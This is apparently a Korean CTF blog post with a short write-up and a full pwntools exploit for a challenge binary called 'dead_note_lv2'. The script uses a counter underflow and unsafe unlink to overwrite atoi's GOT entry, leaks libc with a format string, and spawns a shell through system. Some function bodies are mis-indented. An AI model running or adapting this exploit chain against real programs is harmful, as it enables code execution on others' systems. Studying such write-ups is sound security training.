728x90

시험도 끝났고 오랜만에 풀어본 문제!! 진짜 컴퓨터 공부만 하고 싶다 ㅠㅠ



add와 dell 을 반복해서 note_count를 계속 0으로 유지시켜준다. 그래야 나중에 add 할때 if ( !heap_manager[i] )를 우회할 수 있다. note_count 부분에 할당을 받고 이제 prev_size와 prev_inuse flag들을 덮어야하니 해당 주소로 맞춰주기 위해 dell 을 0x521 번 해준다!!

후 unsafe unlink 쓱싹!



from pwn import *

s = process("./dead_note_lv2")

elf = ELF("./dead_note_lv2")

def add(content):
    s.recvuntil("Your choice:")
    s.sendline("1")
    s.recvuntil("Content: ")
    s.send(content)

def edit(index,content):
s.recvuntil("Your choice:")
s.sendline("2")
    s.recvuntil("Index: ")
    s.sendline(str(index))
    s.recvuntil("Content: ")
    s.sendline(content)

def dell(index):
s.recvuntil("Your choice:")
s.sendline("3")
    s.recvuntil("Index: ")
    s.sendline(str(index))

def quit():
s.recvuntil("Your choice:")
s.sendline("4")

heap_manager = 0x6020E0


gdb.attach(s)


dell(10)

fake = p64(0)
fake += p64(0)
fake += p64(heap_manager - 0x18)
fake += p64(heap_manager - 0x10)
add(fake)

dell(10)

for i in range(10):
    add("A"*8)
    dell(9)

add("B"*8)
add("C"*8)


for i in range(0x521):
    dell(9)

pay = p64(0x80)
pay += p64(0x90)
edit(10,pay)

dell(1)

pay = p64(0) * 3
pay += p64(elf.got['atoi'])
pay += p64(elf.got['atoi'])
edit(0,pay)

edit(0,p64(elf.plt['printf']))

s.recvuntil("Your choice: ")
s.sendline("%p %p %p %p")

s.recv(34)
leak = int(s.recv(14),16)
puts_libc = leak - 0x564070
print "leak : " + hex(leak)
print "puts_libc : " + hex(puts_libc)
system = puts_libc - 0x2a300
print "system : " + hex(system)

s.recvuntil("Your choice: ")
s.sendline("dd")

s.recvuntil("Index: ")
s.sendline("1")
s.recvuntil("Content: ")
s.sendline(p64(system))


s.sendline("sh")

s.interactive()


'PWN > CTF' 카테고리의 다른 글

[Sctf 2016] Pwn2  (0) 2018.12.29
[RCTF 2018] Rnote3  (0) 2018.12.25
[bsidessf-ctf-2017] shortest  (0) 2018.12.02
[BITSCTF 2017] pwn  (0) 2018.12.01
[Codegate 2017] BaskinRobins31  (0) 2018.11.30